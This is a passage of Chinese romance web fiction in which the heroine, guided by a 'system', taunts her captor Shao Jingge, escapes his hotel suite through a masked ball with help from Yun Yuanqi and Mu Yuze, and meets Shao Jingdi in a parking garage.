安蔓紧紧搂着韶景戈的手臂,胸口柔软地贴着他的肌肉,嘴角微微上扬,声音甜滋滋,像是夏天的橘子汽水,“告诉你个秘密,其实我和韶会长秘密交往了,所以才避开所有人一起跑出来玩。” 云元奇更尴尬了,以为自己不小心知道了什么大秘密,“真的吗?” 安蔓笑容甜蜜,微微歪头,故意靠在韶景戈身上,小鸟依人,“真的,不信你问韶会长。亲爱的~他不相信我呢。” 韶景戈抽出手,脸上依旧挂着无聊的微笑,“别闹了,安蔓小姐。” 安蔓被他不轻不重的按着肩膀,像是安抚,又像是警告,忍不住撇了撇嘴,“真没意思。” 她一扭头,脸上重新露出灿烂微笑,伸出手,和云元奇十指交握,“遇到你很高兴,记得来找我玩。” 云元奇有点摸不着头脑,被她的脸晃的片刻失神,和她握了握手,又赶紧松开,“好的。” 安蔓希望他懂了自己的暗示,强调:“一定要来。” 叮—— 电梯又开了,经理领着两人出电梯,到达附近的总统套房。 经理介绍,“里面有男主人间、女主人间、还有会议室,书房,娱乐室等,少爷,我们会定期将三餐送上来,有什么事情随时叫我。” 韶景戈打量了一下,点了点头,轻声说,“好。” 经理让人送上一套衣服,退了出去,将门关上。 安蔓到处打量了一下,发现韶景戈没有离开的意思,轻哼一声,“和你弟弟喜欢的人在一个房间里,不尴尬吗?” 韶景戈不动如山,“还好。” 安蔓咬字清晰,笑容甜美,“哥哥,你怎么还不走,难道打算和我一起睡吗?” 韶景戈笑容完美,斯斯文文,“这里有两间主卧,我们可以一人一间。” 安蔓呵呵一笑,“你准备的倒是很全面。” “不客气。” 韶景戈拿起送上来的衣服,提了提领子,衣服还是半潮的,让人有点不太舒服。 他客客气气的对她一点点头,走向其中一个主卧。 “抱歉,我现在的形象不太体面,请容我稍稍收拾一下。至于其它的,你自便。” 安蔓惊讶,“你不怕我跑了。” 韶景戈轻轻一笑,“整个酒店都是我的人。电梯、会厅、大门,你可以试试能走到哪一步。” 安蔓皮笑肉不笑,“我尽量试试。” 她撕不开对方的假面,有点不耐烦了,有哪个正常的哥哥会对弟弟的喜欢对象这么做,看的这么严,这不变态吗! 安蔓面无表情一屁股坐在客厅的沙发上,桌上摆着几包巧克力饼干,她挑着喜欢的口味吃了,将饼干咬的咔嚓作响。 安蔓抱怨:“系统,这人脑子里真没病吗?” 系统查阅资料,沉思,“应该是没有的,不过剧情里说了,韶家一家都比较照顾他弟。韶景戈见过弟弟小时候进了几次手术室,受影响力,对弟弟受伤的情况容易应激。” 安蔓深呼吸,胸口闷闷的,一股不悦,“什么意思,难道我攻略他,要去把他弟弟先上了?” 系统说:“应该是这样的,之前他的好感都动都不动,你把他的弟弟攻略的差不多了,他才动弹了。” 安蔓咬住嘴唇,闷闷不乐,什么变态兄弟,韶景荻好感卡80说不定也是个原因。 这对兄弟不能单独攻略,要攻略,必须攻略一双。 她又拿了一块巧克力饼干,觉得味道不错,泄愤般一连吃了好几块,终于等到了敲门。 幸好云元奇接收到了她的暗示,不过多久,就找到了位置,站在门外敲门。 安蔓打开门,对方就露出了一个微笑,客客气气,“安小姐,我来了。” 安蔓对他不抱期望,懒懒靠着门,心不在焉,理直气壮地吩咐,“喂,你不是欠我个人情吗,我被韶景戈绑架了,你帮我逃跑。” 云元奇怔忪一下,像是被这个消息震惊到了,好半天才反应过来,“抱歉……” 安蔓猜到了他肯定会拒绝,没想到会这么干脆,退而求其次,“那你帮我和江赫传个信。” 云元奇苦笑,“我不能得罪韶家。” 安蔓柳眉倒竖,难怪刚才韶景戈个管都不管,原来这是个废物! 她挑剔看着他呵斥,“真没用!那你今天来干嘛!滚蛋!” 云元奇想说是安蔓叫他来的,但是张了张口,还是不敢辩解,看着她的脸急急解释,“……慕少爷过几天准备在这里举行一场假面舞会,我收到了邀请函,所以决定来参加,没想到正好遇到了你。” 安蔓咀嚼这个消息,暂时不赶人了,“假面舞会?” 云元奇吸了一口气,“是的,本来没选择这,昨天才收到通知改期,将地点也改到了韶家的酒店。” 安蔓还记得慕玉泽这个送上门来的倒贴货,这人不讲信用,还欠她一张裸.照。 骗她陪聊半天,结果就发了一张脸照、胸.照。 谁要看那玩意儿,在网上不是到处都是吗! 她没得到有用信息,没了耐心,“那你能帮我什么。” 云元奇迟疑,“我……” 安蔓直接关上门,暗骂废物。看来从他身上下手是不行了。 想要不受制于人,还在想点其他办法。 她闷闷不乐地转身,忽然发现韶景戈不知道什么时候从卧室出来,坐在旁边的沙发上,也不出声,安静地看着她。 她吓了一下,怒斥,“你干什么!” 韶景戈似乎是洗过澡,换了身衣服,白衬衫黑西裤,简单的西服衬托出他赏心悦目的身材,典雅斯文,有种古典油画般的质感。 他的侧脸背着光,轮廓分明,笑容温文尔雅,语气甚至还在安慰,“别担心,我才出来,什么都没听到。” 安蔓才不相信他的话,皱眉,“你怎么不出声!太没礼貌了!” 韶景戈拿了一本杂志,放在腿上,轻轻翻阅,“我看看安小姐聊的那么开心,觉得不方便打扰你。” 安蔓冷笑,上前几步,低下头,拿过他膝盖上的杂志,“你不要在这里阴阳怪气,云元奇什么也没答应。” 韶景戈抬头看她,本来想看她的脸,目光却不由自主的落在她垂下的领口,雪白的皮肤上,印着暧昧的红痕。 她肌肤似雪,娇弱无比,浑身上下光洁白皙,毫无瑕疵,胸口却堆了暧昧淤痕,那是经过反复把、玩、揉、弄才能留下来的痕迹。 韶景戈的声音忽然淡了,笑容也渐渐消失,“我知道。” 安蔓扬了扬眉毛,注意到他的眼神,忽然笑了。 死变态,刚刚装的这么好,这不就露馅了。 她娇声娇气,“都说了我没有逃跑,哥哥。” 韶景戈移开目光,语气淡淡,“我不是你哥。” 安蔓把杂志随手扔回他的膝盖,轻笑,“哥哥,装什么呀,你不是看到了吗,不好奇、不想问吗?我直接告诉,这是江赫留下的。” “你弟弟也留下过,还用舌头在更私密的地方留了。” “今天早上出门前我还在和江赫上床,其它地方也有痕迹,你要看吗。” 韶景戈笑容彻底消失了。 安蔓一看他不再露出那种装腔作势的样子,就浑身舒爽,感觉像是吃了补药,快乐的要命。 韶景戈淡淡道,“安小姐比我想的还要淫.荡。” 她轻哼,“没错,你不然以为你弟弟喜欢我什么。因为他也是个浪货,我和他破锅烂盖!” “哥哥,据说你和弟弟的喜好是一样的,你也喜欢吗?” 韶景戈平静道,“你勾引我也没有用,我不喜欢你。” 安蔓脱下外套,扔在地上,踩在脚底,饶有兴味,声音娇的滴水,“那你为什么不看我,哥哥?” “我不吃激将法。”韶景戈忍不住皱了皱眉头,安蔓靠得很近,他想推开她,但是一想到她说今天和江赫上过床,皮肤像是被刺了一样,手指收了回来。 他再开口,声音还是带着一股以往的高高在上的装劲儿,却有点不耐烦,“别做这种事,无聊。” 安蔓声音娇娇俏俏地抱怨,“我做什么事了,明明对弟弟心上人下手的,是你啊!韶哥哥,你怎么这么双标。” 她皮肤白皙,脸颊带粉,笑脸盈盈,看起来气色极佳,漆黑的眼睛睁的圆圆的,表情天真,纯情无比。 表情纯真乖巧,嘴里却一句句吐出…至极的话,“怎么无聊了!你不知道韶景荻有多喜欢我,那天在生日宴会,他有多激动,钻到我的裙摆里,崔英朗拉都拉不走。” “他太热情了,感觉真的很好,据说你们兄弟之间,各方面的构造是一模一样的?舌头也是吗?他的舌头真的很热,又长,非常灵活,水多。” “我听说你们兄弟间,有…感,是真的吗?我和你弟弟在一起的时候,你都能感受到吗?哥哥?” 啪嗒。 杂志被扔在桌上。 韶景戈站起来,深吸一口气,面带微笑,“安小姐,不用再向我展示你的开放了,我不感兴趣。” “你弟弟可是爱的要命呢。”安蔓看到韶景戈笑容再次变冷,目光幽幽地盯着她。 死男人,真难搞,如果不是察觉到这人的眼神一直落到她身上,她就被骗过去了。 安蔓轻哼,敢羞辱她,她要他好看! 第83章 第83章准备逃跑 83. 安蔓原以为韶景戈会转身就走,没想到对方还是没动,她轻轻一笑,“我猜对了,你果然是想和我共处一室。” 韶景戈目光闪烁几下,反而恢复了冷静,微笑说,“安小姐不想着激怒我了,没用。” 安蔓轻嗤,“是吗?” 她现在可烦韶景戈了,他在这里,随时被盯着,做什么手脚都不方便。 江赫、崔英朗那边已经乱成一团,要是再加上这人,更是一团乱麻,暂时不急着攻略他。 最重要是,韶景戈这个笑面虎嘴一张,假惺惺说“不会伤害”,但谁知道对方会把她送到哪个深山老林里,万一几月变几年,哭都没处哭。 安蔓轻轻翻了个白眼,看了看渐渐沉下的夜色,优雅摊手,转身说,“那没办法了。” 韶景戈坐在沙发上,重新拿起杂志,放在膝盖上,却无法凝神,耳朵能清晰勾勒出安蔓的每个动作。 她转身走入房间,转了一圈停下,随后打开衣柜的声音。仿佛故意一样,将每个动作都做得很重。 他考虑过安蔓的难伺候程度,为了减少麻烦,女主人间内,提前打个招呼,让人按照尺码填满了应季的奢牌成衣。 现在,安蔓站在衣柜前,手指探入,挑选服装,关上衣柜。接着,是轻微的布料窸窣声,她一件一件地脱下衣服。 韶景戈指尖悬空在杂志上,眉头渐渐皱了起来,很快听见一阵急促的脚步和抱怨,“这里的衣服真难看!” 安蔓故意要恶心他,换了一件的纯白的真丝吊带睡裙,细细肩带的肩带勒在白皙的皮肤上,低领口,胸口镶着透明性感的蕾丝。 睡裙露背设计,裙摆如同绽开的雪白花苞,向上收窄在腰间,将腰掐得细盈盈的。 衣服正面看起来轻薄、保守,偏偏胸口和脊背露出了大片雪白丰盈的皮肤,清纯中带着一丝纯欲。 安蔓轻轻一笑,裙摆随着动作摇晃,“好看吗?” 韶景戈眉毛皱的可以夹死蚊子,“你穿的是什么东西。” 安蔓雪白肌肤上,布满了暧昧的红痕,断断续续的指印从胸口向下蔓延到衣领,被蕾丝隐隐约约挡住,又纯又欲。 她嘴角微翘,清冷中夹杂了一丝钩子似的媚,“衣柜里随便拿的睡衣,你看我这身,好看吗?” 韶景戈再次失去笑容,目光缓缓从她身上扫过,上面全是江赫留下来的痕迹,“去换掉。” 安蔓不紧不慢地在他对面坐下,翘起了腿,也拿了一本书放在膝盖上,遮掩风光,“我不。” 韶景戈衣冠楚楚,笑容假面般刻板,低声,缓缓开口,“……安蔓小姐,你觉得这有意思吗?” 安蔓知道他讨厌自己这一身吻痕,看到这些就想起了自己的弟弟“被绿了”,但她就是要在这人面前晃。 她拿了一本《八卦周刊》,这本杂志以混乱无底线著称,她充满兴趣地翻了一页,津津有味,“很有意思。因为我讨厌你。我不想跟你处在一个空间里,如果让你不舒服了,我就舒服了。” 韶景戈合上书,笑容冰冷完美,眼神如针般插入她的胸口,“我好像,之前并没有做什么惹你不高兴的事吧,安小姐。” 安蔓皮肤胜雪,娇娇媚媚,勾唇一笑,“没办法呀,哥哥,虽然你和弟弟是一张脸,但比他烂多了。他很完美,非常让人满意,但我一看到你,就头痛、恶心、想吐。” 她忽然站起,姿态摇曳多情,赏心悦目,停到韶景戈面前,轻轻弯腰,伸出手,纤细柔软的手指,仿佛要碰到他的脸颊。 同时微微低头,吐气如云,盯着韶景戈波澜不惊的深灰色眼睛,慢慢地勾起了嘴角,故意靠的离他很近,近的似乎随时要触碰到他的皮肤、亲密相贴。她低声问,“你喜欢我吗?” 韶景戈一动不动,安蔓贴得太近,呼吸间的热风吹拂在他的脸上,足以让人汗毛根根立起,他的表情平静到近乎淡漠,“不喜欢。” 安蔓笑容清丽,又纯又媚,手指贴着他的脸,“正好,我也不喜欢你。我希望你尽可能的不要出现在我视线里好吗?不然,今天只是个开始,毕竟我不舒服,就想折磨人。” 韶景戈完美的笑容仿佛被刻在脸上,“我知道了。” “答应了就好。” 一获得这个承诺,安蔓立刻直起腰,姿态优美地退后,恨不得离他八百米远。 韶景戈眼睛一眨不眨地看着她,“安蔓小姐,你充分的表达了对我的反感。你的提案,我接受了。不过我希望,你不要做下一些愚蠢的决定,觉得你能够逃走。” 安蔓漫不经心地拨弄漆黑的长发,终于要把人赶出去了,懒得搭理他,声音柔柔地说了一句,“好的。” 而后一转头,掐着腰,故意放慢脚步地向房间走去。 她身姿纤细,腰肢柔软,两根不规则的缎面飘带垂在腿侧,在雪白的大腿间一晃一晃。 她就是故意的,韶家这对双生子的喜好极其似,弟弟喜欢她,哥哥对她不可能不感兴趣。 但是无论是出于对弟弟的责任心,保护欲,都不允许他作出出格的事,真可悲。 她感觉到韶景戈落在她身上的目光,脚步轻盈的走入女主人房间。 房间设施一应俱全,甚至还有电视,大床柔软舒适。 安蔓早上才做过,腿酸又腰酸,一整天跌宕起伏,让身体十分疲惫。她简单洗了洗,懒得再看 韶景戈的情况,躺在床上就睡了。 等她睡足了一天,第5天走出房间的时候,韶景戈已经消失不见了。 安蔓想了想,按铃,呼唤找到了套房管家,试探问,“那位韶少爷去哪里了?” 管家先是困惑,然后恍然,弯下腰为她仔细解释,“那个少爷被安排到其它房间了,您要找他吗?我可以为您传话。” 安蔓摇头,“不找。你可以借我一台手机吗?” 管家面露难色,“小姐,这个要求恐怕不行,少爷吩咐过我们……” 安蔓本来对此就不抱希望,试探过后兴趣寥寥,挥手,“算了,你出去吧。” 赶走韶景戈虽然痛快,但是一个人住套房,很无聊。顶层的总统套房占地颇大,两个主卧、游戏室、会客厅、警卫厅等等,只有她一人时空空荡荡。 窗户是透明的落地窗,从窗户往外看可以看到秀美的山间景色,远处风景美不胜收。 安蔓只开心了一个上午,就开始无聊了,只能把电视放到最大声,把书房里还没拆封的书,拆了一本又一本。 幸好第5天中午,门外很快响起了敲门声,她打开门,外面站着昨天被赶走的云元奇。 他挠了挠头,不好意思一笑,“安小姐,你好,你昨天问我能帮你做什么,我想过了……” 他迟疑了一下,“站在外面不方便说,我可以进去吗。” 安蔓环顾四周,目光落在上方的监控上,轻轻撇了撇嘴,“不行。” 云元奇愣了一下,目光不自觉的往里面看,他猜过韶景戈少爷和安蔓的暧昧关系。虽然说是“绑架”,可是没想到他们已经进展到同居的地步了。 安蔓没耐心,看出他的念头,直接道:“里面没人,你直接说。” 云元奇收回目光,不敢乱看,长话短说,“你昨天问我可以为你做什么,我回去想了一下,我可以给你一张假面舞会的邀请函。” 安蔓微微抬了抬眼,听到假面舞会三个字,忽然有点感兴趣了,目光紧紧看着他,催促,“你继续。” 云元奇眼神不太敢直视她,一口气说完,“假面舞会的时间在两天后,由慕少爷举办,听说邀请来了德川所有有权有势的成员,作为他的回归礼。” 安蔓抓住了关键词,有点焦虑,“那几位……会来吗?” 云元奇明白她的意思,急忙解释,“崔少爷他们应该是不会来的,他们最近很忙,据说连邀请函都拒收了。” 安蔓勉强点了点头,示意他继续说,“然后呢。” 云元奇解释,“我虽然不能直接让你逃走,但是在那天晚上,可以帮你混进假面舞会,之后,具体怎么逃走,要看你的了。” 安蔓沉思,云元奇虽然废物,但是能够不断提供信息。 她试过,没有韶景戈,只她自己连电梯都走不了。这件事虽然有被发现的风险,但也不是不能试试。 安蔓问:“那你到时候怎么把我带走,这里到处都有监控。” 云元奇想了想,提议,“那天我想办法糊弄监控,带个身形相似的女人上来,替换你。等你带上面具,只要混进宴会里,就算韶景戈少爷发现了也没办法一一找人。” 安蔓虽然觉得不靠谱,但又觉得,反正没有损失,试试也行。 韶景戈这种人,习惯了安排一切,顺着他的脚步走,不知道会被带到哪里。 只有自己找路,才是最靠谱的。 安蔓想到这里,不由轻轻笑了起来,弯着嘴角,柔柔道,“那就谢谢你了云少爷,” 云元奇看着她的脸,目光移开,突然低下头,轻轻的嗯了一声,脸微微红了,“是我应该做的,本来我就欠你一个人情。” 安蔓声音软软,柔的几乎滴水,“拜托你了。”. 两天后。 酒店。 安蔓坐在离门最近的沙发,翘着腿,打开了电视,放大了声音,有一搭没一搭的看着上面的新闻。 她心不在焉,时不时的看一眼门口,时间一分一秒过去,等到天微微擦黑,外面才响起了敲门声。 她打开门,总统套房管家的精英脸出现在眼前,对她礼貌的笑了笑,“安蔓小姐,你好。” 安蔓一下子失去了兴趣,“你好,什么事。” 套房管家规规矩矩说,“我来传达韶少爷的信息,他让你收拾好东西,明天上午走。” 安蔓哼了一声,反问:“他怎么不自己来。” 套房管家停顿一下,礼貌道,“他说,你既然不愿意见他,他自然会识趣的避开你的视线。还有,云元奇这种人,两面三刀,不建议你和他交往,没有好处。” 安蔓轻嘲,“怎么还拉踩起其他人了,说的好像他自己是个好东西似的,还有事吗?” “如果你想逃跑,把希望寄托在他身上,恐怕并不明智。” 套房管家说完,摇了摇头,“没有了。” 安蔓挥挥手,他弯了弯腰,然后又行了个礼,安静的退了出去。 她打了个哈,闭目养神,把电视声音调低,又等了一会儿,几乎快进入梦乡,终于听到外面二次传来的敲门声,一个激灵,快步走向门边,打开了门。 云元奇旁边站着一个身材高挑纤细的女郎,推了她一把,催促她,“快进去。” 然后对安蔓示好一笑,“安小姐,我带了替身和假面舞会更换的服装。让我进去吧。” 第84章 第84章假面舞会 84. 安蔓拉开了门,云元奇推着带来的女郎闪身进入,一边吩咐,“你去换上安小姐的衣服,然后躲进房间,如果有人找你,立刻给我发消息。” 他带来的女生,身材纤细苗条,对着安蔓浅浅一笑,走向房间。 “她的头发和背影和你很像,应该能糊弄一段时间。” 云元奇把舞会的服装拎出来,隔空比了比,满意道,“尺码应该合适,你试试。” 安蔓嗯了一声,接过礼服,去了试衣间。 那是一件金色高奢礼服,华丽的钉珠和亮片,看起来柔光闪闪,衬的人皮肤极白,婀娜又纤细。 安蔓换好衣服出来,尺寸正好,雪白的指尖抚摸衣服上的薄纱,似笑非笑,“你知道我尺码?” 云元奇在买衣服的时候,就想过她穿上的样子,结果真的看到了,忍不住微微怔忪,眼睛完全无法从她身上移开。 他竭力不让自己的眼神太过着迷,努力移开,“我猜的。” 安蔓撇了撇嘴,一下子失去兴趣。 什么人啊,能凭空估人尺寸,多半是情场老手,她讨厌不干净的男人。 云元奇不明白她为什么突然冷淡下来,有点失落。 他看了一眼手机,冷汗忽然刷了下来,“外面不知道为什么,要提前换班了,我们快走!” 他敢在这时候,帮助安蔓,就是仗着韶景戈不在酒店,还能花金钱开道。万一两个人被抓住了,警卫当场通知酒店主人,通知韶景戈,那他们两个都完蛋了! 韶景戈虽然平时看起来文质彬彬,脾气温和,但是作为风纪会的会长,臭名昭著,哪有能是什么好人,只不 过平时使手段都阴着来。 云元奇催促,“等他们换班了,我们就走不了!快把面具戴上。” 安蔓被他说的紧张起来,她可不想中途被人抓回去! 韶景戈现在虽然对她松,但一旦逃跑就被逮住了,肯定要把她带回去关起来,到时候真的叫天天不应了。 她戴上面具,挽着云元奇的手臂,站直了身体,尽可能自然的跟着他出了套房走向电梯。 手臂下云元奇的心跳清晰可闻,微微加快,他在紧张,今天来帮安蔓是冒了风险的。 “没事,自然一点就好了,不用担心,你带着面具,对,和我正常聊天就行……你看他们没看你吧。没事,进电梯就好,进了电梯直达宴会厅。” 安蔓被他怦怦乱跳的心搞的有点慌,竭力自然地进了电梯,“好了吗?” 云元奇按了楼层,上面的数字跳跃着下降,长长的吐了一口气,“暂时没事,没人发现,等到了宴会厅,你混进去就好了。” 他想了想,担心她不知道假面舞会的规则,连忙解释,“等会儿你进去后,就在手里拿一支玫瑰,默认你今晚不是独身,就不会有人请你跳舞。” “好。” 叮—— 电梯打开。 电梯外也有侍者站在门口,一等门开,便深深地鞠了一躬。 “两位,请出示邀请函。”. 云元奇递出邀请函,穿着燕尾服的侍者打开,仔细核对。 安蔓被他弄得疑神疑鬼,尽量冷静,向前打量。 宴会已经开始,昏暗摇曳的灯光,低哑悠长的古典乐,衣香鬓影的男女翩翩起舞,每个人都戴着模糊不清的面具,喃喃低语。 氛围古怪而低沉,像涌动沉闷的雾,人群在舞池里交织盘旋,却看不清任何一个人的脸。 安蔓知道,云元奇开始拒绝,后面忽然改变主意,肯定是被人收买了。但她不确定收买者是谁。 宴会上,来往宾客,皆衣着华贵,戴着精致的面具,看不清彼此的脸。 一眼看去,只能看见一对对黑洞洞的眼睛。 不远处的警卫手里的对讲器突然响了一下,他举到耳边,“收到,什么事。” “突发状况?”他压低声音跟对讲机讲了几句,抬头拍了拍同伴的肩膀低语,随后两个人眼睛敏锐扫视全场。 “有人走丢了。” “是一位女士,身高……外貌……发色和瞳色……” 最开始接到电话的警卫,握着对讲机,视线在场内锋利徘徊,假面舞会上找人,无疑是最惹人厌烦的苦差事之一。 他寻找了一会儿,突然注意到安蔓和云元奇两个,拍了拍同伴,示意向他看,“……那个女生很像……” 安蔓心口突然漏跳一拍,有点不安,催促,“还没好吗!” 侍者仔细核对,被催的有点不耐烦,终于松口,“……进去吧。” “过来了……我们快走!”云元奇压低声音,一把挽住安蔓的手,快步走向舞池。 然而一进舞池,周围人就如同流水一般,随着音乐冲了过来,将两人冲开。 云元奇被人群冲散。 安蔓踩着高跟鞋,脚步摇曳,来不及回头,磕磕绊绊的,随着人群不住的向前走。 忽然有人从身侧牵着她的手,搂住她的腰,将她半牵半引的带到舞池中心, 对方戴着半张面具,金发,蓝眼,皮肤颜色浅淡,极端缺乏色素,微红的唇角有一颗黑色小痣,显得干净又清纯。 他黑西装,黑领结,打扮的光鲜亮丽,微翘嘴角,玻璃珠似的蓝眼睛柔和地注视她,温柔道,“安小姐,这应该是我们第一次正式见面。” 安蔓蹙眉:“慕玉泽?” 这个倒贴货还欠她一张果照,硬是赖着不给,还有脸出现在她面前? 虽然发过来的照片,无论是脸蛋,还是身材,都赏心悦目,收藏价值提高。但最关键的一张却迟迟不给! 安蔓其实没多想看,那东西有什么好看的,但她讨厌对方不给,赖着赊着,让她一种被耍的感觉。 安蔓咧嘴一笑,假模假样地改口,“慕先生,你好,你怎么在这里。” 慕玉泽搂着她的腰,在缓慢低沉的音乐声中,优雅地在舞池摇晃,“我猜的。” 安蔓眉心一跳,这个原著里的坏种,堂堂搅屎棍,最喜欢在所有事情里插一脚。 他心理扭曲,感官迟钝,喜欢精神折磨人,从极端的情绪里获得快感。 慕玉泽对崔英朗、江赫,还有韶家双生子,因为从小作伴,已经是关系最亲近的一批。 但下起手来,也毫不手软。 凡他掺和的事,最后都糟透了。 幸好,他对外界兴趣淡淡,更喜欢折磨慕家人。 慕家父母原本觉得,自己的儿子废了,生了二胎,专心培养小号,理所当然。可是在他们注意力转移到那天起,才发现恐怖的事刚刚发生。 慕玉泽极其擅长精神折磨,他经常不说不笑,半夜出现在两人床头,在伸手不见五指黑夜,拖着断了一条的小熊玩偶,眼神冷冷地注视他们。在慕父慕母尖叫质问中,只是歪着头说,“我想你们了。” 他还时常默不作声,在刚刚出生的妹妹的襁褓旁边,面无表情看着她,还曾抱着她平静地坐上慕家湖中心摇摇晃晃的小船,在尖叫怒骂声中不仅不生气,反而笑起来。 被禁止接近妹妹后,他也不生气,开始给她送礼物,送的却都是死蚯蚓,死蜈蚣,死毛毛虫、猫尸、蛇干这种东西,惹的慕家夫妇几乎要昏倒,把他打了一顿,恨不得把扔了他! 后来,是慕家老爷子,看不下去了,把他接到身边培养了几年,将他整个人重塑培养了一遍,拼命将法律和道德刻在他脑子里,总算让他勉强看起来有个人形。 安蔓直接问,“慕玉泽,你想干什么?” 慕玉泽弯着眼角,金发如蜜,纯情漂亮,“我只是想请你跳个舞。” 安蔓逃跑事件,在韶景戈动手后再次升级,所有人都想找到她,慕玉泽也是。 韶家双生子没有隐私,韶家的资产,还有韶景戈的个人资产,都和弟弟共享。 只有一套不久前,刚刚从慕玉泽那入手的别墅,刚刚过户,还没有住人。 慕玉泽推测出了韶景戈的行车路线,提前踩点,终于将人截胡,此刻内心一阵愉悦和满足,轻声喟叹,“接触你好难,他们把你藏得好死,这么久了,终于能和你面对面说话。” 安蔓很吃慕玉泽的脸,白皮,纯情,金发蓝眼 但是他戴着面具,吸引力下降,安蔓冷漠,“你找我做什么?” 慕玉泽眼睛一眨不眨,专注地注视安蔓,她穿着漂亮的金色长裙,戴着半张黑色面具,羽毛,金箔,金丝镶嵌,鸽血尖晶石缀在眼角,让她显得优雅又神秘。 黑色面具挡住了大半张脸,露出她尖尖的下巴,掩盖住她身上那种鲜艳迷人的特质,却又让人情不自禁多出一股的窥探欲。 他认识安蔓,注视她,已经很久。 她自私,冷漠,花心,拜金,享乐主义。 慕玉泽弯着嘴角,他也是个坏蛋,见过不少人,但是她那样的,真是独一份,“因为崔英朗、江赫,那对双胞胎,都喜欢你,作为朋友,如果我不喜欢的话,好像 不太随大流。” 他非常坦诚,声音很甜,“我想,如果把你抢走,他们会很痛苦吧。” “到时候,肯定会闹的翻天覆地,很有意思。” 安蔓挑了挑眉,轻哼一声,“你有什么优点让我选。” 送上来的倒贴货,又不要攻略,她完全没耐心,挑剔的要命。 慕玉泽沉思,举了一项优势,“我有钱。” 安蔓失望,“就这个?” 这些人哪个没钱啊。 慕玉泽声音温柔似水,又甜又黏,苦恼道,“想不出来,怎么办。” 安蔓没耐心,往外看一眼。 那几个警卫并没有走,反而召集了更多人,站在舞会外,隐隐约约围了上来。 他们商量了一会儿,决定不惊扰舞会,派了几个端着酒杯的侍者,在人群来回穿梭寻找,渐渐接近舞池。 安蔓想跑了,催他放手,“想不出来就松手。韶景戈的人还在找我呢!” 慕玉泽浓密的睫毛眨了眨,看出她的迫切,苦恼,“可是,我有的他们都有。我没有崔英朗健壮,没有江赫聪明,也没有韶家那两位和谐的家庭。” 他自我认知明确,一样样的数了下来,搂住她纤细腰肢的手,渐渐收回,转而变成握着她的手心。 然后贴在自己的胸口上,往里按了按,柔声说,“我想不出自己还有什么优势,只能出卖身体了,我身材不错,对吗?” 安蔓俏脸呆滞,手下胸肌触感极佳,隔着层层布料,依旧能感觉到轮廓。 她才发现今天,对方穿着正装,风度翩翩的。 慕玉泽是模特,脸好,身材也好。为了上镜,肌肉练的十分发达,形状丰满,在西装里…绷得紧紧的。 慕玉泽穿的保守,唇角轻扬,握着她的手又向上,按在面具上,“长得也不错。” 慕玉泽微微低头,嫣红的嘴角微微上扬,“这样够吗?” 安蔓矜持,挑剔地上下扫视,“一般。” 慕玉泽苦恼,真诚询问,“那该怎么办呢?” 安蔓理直气壮:“不知道,这是你的事,是你打动我!” 慕玉泽更苦恼了,只能唉声叹气,连表情都暗淡了,低声:“我可以学。” 安蔓感兴趣了,虽然原本对他感官一般,但是他真的很倒贴。 拜托哪个年轻人受得住清纯漂亮、大胸甜心诱惑! 但她一回头,看见已经混入人群,逐渐接近的、找人的侍者们,忍不住微微蹙眉。 安蔓:“我先走了。你有车吗?” 慕玉泽略带为难,给了她一把钥匙,细细描述了停车的方位,握住她的手,忍不住挽留,“可是你还没给我答案呢。” 安蔓没心情了,敷衍,“那你回去准备一下,下次见到我的时候,好好表现,我就答应你。” 慕玉泽追问:“下次是什么时候。” 安蔓在音乐的尾声往舞池边靠,心不在焉,“看运气吧。” 慕玉泽略带犹豫,迟疑一会,还是松开手,“那我等你。” 安蔓敷衍点点头,侍应生越靠越近,其中混着几个警卫,站在舞池边,等待音乐停止。 韶景戈现在多半发现了,她必须尽快离开,省得被人抓回来。 安蔓抛了抛钥匙,毫不害臊的收了他的车,扬眉,“那我拿走了,有机会还你。” 慕玉泽目光追随,甜甜一笑,“不用,不值多少钱,送你了。” 安蔓满意,慕玉泽长得好,身材好,又是c男,出手大方,对她够舔。 就算是个烂人、坏种,也无所谓,可以玩玩。 她扭过腰给点甜头,对他抛了个媚眼,妩媚白皙,“慕少爷,下次见。” “……下次见。” 慕玉泽歪了歪头,看着安蔓的背影,伸手扔开面具。他的鼻梁高挺,长相极佳,是那种在人群中一眼看见的大帅哥,面无表情时失去了那种雪白的清纯感,眼睛是冷淡的蓝,睫毛漆黑无光,眉骨锋利,有种令人本能抗拒的惊悚感。 他走出舞池,云元奇迎了上来,目光寻找安蔓的身影,“慕少爷,安蔓小姐呢?” 慕玉泽在旁边坐下,一条腿屈起踩着面具,璀璨浓密的金发垂在耳侧,绸缎般柔滑,“走了。” 云元奇没反应过来,前几天,慕玉泽突然找到他,捏着他的把柄,把他踩在脚下,让他想办法,又是费劲联络人,又是想办法将韶景戈支走,忍住欺骗安蔓愧疚,冒了被韶家算计威胁的风险才把她带出来的! 结果不过跳了一会儿舞,就让她走了,这把她带出来还有什么意义。 云元奇脱口而出,“你怎么这么让她走了!” 慕玉泽轻轻看了他一眼。 那一眼没有什么情绪,却让云元奇心凉了半截,越接触他越发现这是一个情感漠然,心理扭曲的神经病,没有正常人的情绪感知,这人什么都做了个出来。 这人翻出了他早八百年忘在背后,80别人证据,又不知道在哪里找出他做违规生意的录像,足够让云元奇进去蹲到老。 云元奇一出口就意识到自己的冒犯,心里直冒冷汗,低下头以示恭敬,“抱、抱歉。” “没事。”慕玉泽的声音低沉光滑,犹如绸缎,却让人听了心里一阵一阵发凉。 “我在她身上安了的定位。”. 安蔓脱离舞池,丝滑的混入人群,幸好今天穿金色裙子的不少,她在人群中不算耀眼。 她若无其事的在人群里转了一会,疯狂回忆从云元奇手里看过几次的酒店路线图,终于想起了停车场的位置,调了一个方向向前走去。 身后的假面舞会,突然响起一阵骚动,演奏到一半的音乐被人强制暂停了,翩翩起舞旋转的人群中爆发出一阵困惑不解的议论声,嗡嗡作响。 “怎么了?发生了什么事。” “什么情况。” “我们可是客人,你们在干什么!” 安蔓脚步不停,把所有声音甩在耳后,快步走进停车场。 慕玉泽的车停在最外侧,是一辆黑色越野,鹤立鸡群。 她握着钥匙,快步向前走去,却突然又被人从身后拉住了手腕,狠狠一扯,拉到最近的一辆改装超跑后,捂住了嘴。 “嘘!嘘,别叫,是我。”一道耳熟的声音在耳边响起,对方笑嘻嘻道,“亲爱的公主,你好呀,好久不见。” 对方搂着她的腰温声安抚,灰眼睛微微眯起,笑的露出尖尖的牙齿,柔声细语,“是我呀,我来救你了,公主。” 两个人贴的很近,密不透风,暧昧的像偷情。 安蔓原本还在挣扎,听到声音一转头,错愕开口,“韶景荻,你怎么在这!” 韶景荻眨眨眼,轻轻一笑,“秘密。” 